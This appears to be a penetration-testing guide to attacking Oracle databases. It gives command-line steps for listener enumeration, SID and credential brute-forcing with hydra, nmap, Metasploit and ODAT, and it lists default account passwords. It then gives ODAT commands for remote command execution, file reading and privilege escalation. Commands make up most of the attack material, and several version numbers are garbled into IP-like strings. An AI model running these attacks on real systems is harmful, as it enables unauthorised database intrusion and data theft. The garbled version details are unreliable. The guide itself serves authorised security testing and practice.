Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation (from here).
When enumerating Oracle the first step is to talk to the TNS-Listener that usually resides on the default port (1521/TCP, -you may also get secondary listeners on 1522–1529-).
1521/tcp open oracle-tns Oracle TNS Listener 220.127.116.11.0 (for 32-bit Windows)1748/tcp open oracle-tns Oracle TNS Listener
Enumerate version info (search for known vulns)
Bruteforce TNS listener communication (not always needed)
Enumerate/Bruteforce SID names (like database names)
Bruteforce credentials for valid SID name discovered
Try to execute code
In order to user MSF oracle modules you need to install some dependencies: Installation
Tools that can be used for this are: nmap, MSF and tnscmd10g.
nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP>msf> use auxiliary/scanner/oracle/tnslsnr_version#apt install tnscmd10gtnscmd10g version -p 1521 -h <IP>
Other useful TNS listener commands:
Ping the listener
Provide output of the listener version and platform information
Return the current status and variables used by the listener
Dump service data
Dump debugging information to the listener log
Reload the listener configuration file
Write the listener configuration file to a backup location
Invoke listener shutdown
If you receive an error, could be because TNS versions are incompatible (Use the
--10G parameter with
tnscmd10) and if the error persist, the listener may be password protected (you can see a list were all the errors are detailed here) — don't worry… hydra to the rescue:
hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener
The TNS listener could be vulnerable to MitM attacks. Check here how to check if the server is vulnerable and how to perform the attack (all versions up to version 12c are).
The SID (Service Identifier) is essentially the database name, depending on the install you may have one or more default SIDs, or even a totally custom dba defined SID.
In some old versions (in 9 it works) you could ask for the SID and the database send it to you:
tnscmd10g status-p 1521 -h <IP> #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)#msf1msf> use auxiliary/scanner/oracle/sid_enummsf> set rhost <IP>msf> run#msf2msf> use auxiliary/admin/oracle/tnscmdmsf> set CMD (CONNECT_DATA=(COMMAND=STATUS))msf> set rhost <IP>msf> run #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>)
If you cant access this way to the SIDs you will need to bruteforce them:
I have merged the nmap and MSF sid lists into this one (without duplicates):
hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 <IP> oracle-sidpatator oracle_login host=<IP> sid=FILE0 0=sids-oracle.txt -x ignore:code=ORA-12505./odat.py sidguesser -s $SERVER -d $SID --sids-file=./sids.txtmsf> use auxiliary/admin/oracle/sid_brute #This will use the list located at /usr/share/metasploit-framework/data/wordlists/sid.txtnmap --script +oracle-sid-brute -p 1521 10.11.1.202 #This will use the list lcated at /usr/share/nmap/nselib/data/oracle-sids
In order to use oracle_login with patator you need to install:
pip3 install cx_Oracle --upgrade
Got SID? Excellent, now let’s move to the next task and extract the user account information. From this point, you can connect to the listener and brute-force credentials.
Metasploit scanner/oracle/oracle_login It has a built-in dictionary for the most popular default values of user account information presented as login:password. By the way, such default entries represent one of the most popular and serious security problems in Oracle.
Nmap can also help here with the script oracle-brute. Note that this script mixes the logins and passwords, that is, it tries each login against every password, and it takes quite a while!
Below are some of the default passwords associated with Oracle:
DBSNMP/DBSNMP — Intelligent Agent uses this to talk to the db server (its some work to change it)
SYS/CHANGE_ON_INSTALL — Default sysdba account before and including Oracle v9, as of version 10g this has to be different!
PCMS_SYS/PCMS_SYS — Default x account
WMSYS/WMSYS — Default x account
OUTLN/OUTLN — Default x account
SCOTT/TIGER — Default x account
The versions 18.104.22.168, 22.214.171.124, 126.96.36.199, 188.8.131.52, and 184.108.40.206 are vulnerable to offline brute force. Read more about this technique here.
Different tools offered different user/pass lists for oracle:
oscan: /usr/share/oscanner/accounts.default (169 lines)
MSF-1: from admin/oracle/oracle_login /usr/share/metasploit-framework/data/wordlists/oracle_default_passwords.csv (598 lines)
MSF-2: from scanner/oracle/oracle_login /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt (568 lines)
Nmap: /usr/share/nmap/nselib/data/oracle-default-accounts.lst (687 lines)
I have mixed all of them and removed duplicates:
Now, that you know a valid SID and valid credentials. To connect to the database you need the tool: sqlplus and to install it you need to follow some steps:
To login using known credentials:
If the TNS Listener is on a non-default port (e.g. TCP/1522) :
If an account has system database priviledges (sysdba) or system operator (sysop) you may wish to try the following:
sqlplus <username>/<password>@<ip_address>/<SID> 'as sysdba';#Example:sqplus SYSTEM/[email protected]/ORCL 'as sysdba'
An interesting tool is oscanner, which will try to get some valid SID and then it will brute-force for valid credentials and try to extract some information:
#apt install oscanneroscanner -s <IP> -P <PORT>
Another tool that will do all of this it odat:
git clone https://github.com/quentinhardy/odat.gitcd odat./odat.py --help #It shouldn't be problems in Kali./odat.py all -s <IP> -p <PORT>./odat.py all -s <IP> -p <PORT> -d <SID> #To bruteforce accounts for that SID
With these options (-s and -p), ODAT will search valid SID (System ID) in a first step. You can configure some options for configuring methods (i.e. word-list or brute-force attack). By default, ODAT will use a big word list and it will do a small brute-force attack.
If ODAT founds at least one SID (e.g. ORCL), it will search valid Oracle accounts. It will do that on each SID found. You can specify some options for credentials (e.g. --accounts-file, --accounts-files, --login-as-pwd).
For each valid account (e.g. SYS) on each valid instance (SID), ODAT will return what each Oracle user can do (e.g. reverse shell, read files, become DBA).
There are at least two different ways to execute commands, such as by using Java procedures and DBMS_SCHEDULER package. By the way, you can also achieve RCE in case of SQL injection in a web application provided, of course, that the user running it has sufficient rights. At this stage, I highly recommend preparing the Oracle Database Attacking Tool: ODAT.
git clone https://github.com/quentinhardy/odat.gitcd odat./odat.py #It shouldn't be problems in Kali
./odat.py java -s <IP> -U <username> -P <password> -d <SID> --exec COMMAND
./odat.py dbmsscheduler -s <IP> -d <SID> -U <username> -P <password> --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK"
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --exec "C:/windows/system32" "calc.exe"
‘ODAT.py’ requires the privilege ‘CREATE ANY DIRECTORY’, which, by default, is granted only to DBA role, since it attempts to execute the file from any and not only “your” directory (the manual version of this attack requires less privileges).
./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --getFile "C:/test" "my4.txt" "my"
You can use the privesc module from odat to escalate privileges. In that link you can find several ways to escalate privileges using odat.
./odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD -h #Get module Help
Vulnerability tested on oracle 10.1.0.3.0 – should work on thru 10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical Patch update October 2007.
msf> use auxiliary/sqli/oracle/lt_findricset_cursor
If you want to practice attacking Oracle databases, the safest way is to register for the Oracle Developer Days Virtualbox VM:
Most part of the information in this post was extracted from: https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573 and from https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/
Other interesting references: